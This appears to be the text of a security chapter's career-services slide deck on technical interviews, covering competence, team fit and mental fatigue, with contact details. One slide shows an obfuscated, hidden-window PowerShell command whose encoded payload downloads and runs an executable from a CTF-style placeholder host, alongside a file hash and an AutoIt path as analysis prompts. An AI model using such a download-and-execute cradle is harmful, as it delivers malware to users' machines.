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Technical Interviews
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What is a Technical Interview?

Is it dialog?

Is it a test?

Is it about building trust?
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It’s about 3 
things

• Competency - Proving 
reasonable competence 
in SOME focus areas

• Team Fit - Proving that 
you fit well within the 
team

• Handling - Proving that 
you can think in the 
moment as well as after 
the moment
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It’s a big 
world out 

there
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Competence – it must be demonstrated
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Competence – it must be demonstrated
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Competence – it must be demonstrated

powershell.exe -noP -sta -w 1 –enc 
TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93b
mxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3
Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4Z
ScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn

#!/usr/bin/env python

57379fe988e3f7072312b7c2235f13ee4df2907e3243fdec47f658ae2dc395e5

C:\ProgramData\ddfbkcd\Autoit3.exe
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Each answer 
should 
connect to 
architecture
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Team Fit
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What’s in your head 
during an interview?

• Determination

• Doubt

• Excitement

• Fear
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What’s in the Hiring 
Manager’s Head?

• Step 1: Determine the level of 
collaboration required for the position

• Step 2: Probe the past of the interviewee

• Step 3: Use team comparison reports to 
identify potential clashes within the 

• <p hidden> Step 4 </p>: See how the team 
response to the interviewee
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Handling yourself

Don’t be fake
… But it helps
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Handling
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Help the 
conversation 
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How to Manage 
Mental Fatigue

• Stay positive

• Vary your interview tactics

• Care for your body BEFORE the Interview

• Establish boundaries

• Take a break

• Review after interviews

• Renew your motivation
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What Can we 
track?

Reference: https://navscoring.com/how-nav-works#scoring
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Make it easier to know 
what’s available and track 
progress
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++++++++  CAREER SERVICE TEAM  ++++++++++
Tom Purdy – tepurdy@att.net
Chris Uhlig – Chris.Uhlig@disys.com 
Elizabeth Cole-Walker – eacolewa@ncsu.edu 
Evan Strickland – tacituacitum@gmail.com  
Jon Lee – me@jonlee.us 
Dan Greenhaus – dangreenhaus@gmail.com
Debra Ferris – dlgferris@bellsouth.net

++++++++  CAREER SERVICE RESOURCES  ++++++++++
Chapter Website -> Home -> Career Services/Education 
https://raleigh.issa.org/career-services/   
Chapter LinkedIn
https://www.linkedin.com/company/issa-raleigh-chapter 
Chapter Facebook 
https://www.facebook.com/groups/raleighissa/  
Chapter Twitter
 https://twitter.com/RaleighISSA

Discord –> Channels –> Raleigh ISSA  ++++JOBS++++
https://discord.com/channels/

mailto:tepurdy@att.net
mailto:Chris.Uhlig@disys.com
mailto:eacolewa@ncsu.edu
mailto:tacituacitum@gmail.com
mailto:me@jonlee.us
mailto:dangreenhaus@gmail.com
mailto:dlgferris@bellsouth.net
https://raleigh.issa.org/career-services/
https://www.linkedin.com/company/issa-raleigh-chapter
https://www.facebook.com/groups/raleighissa/
https://twitter.com/RaleighISSA
https://discord.com/channels/
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Thank you
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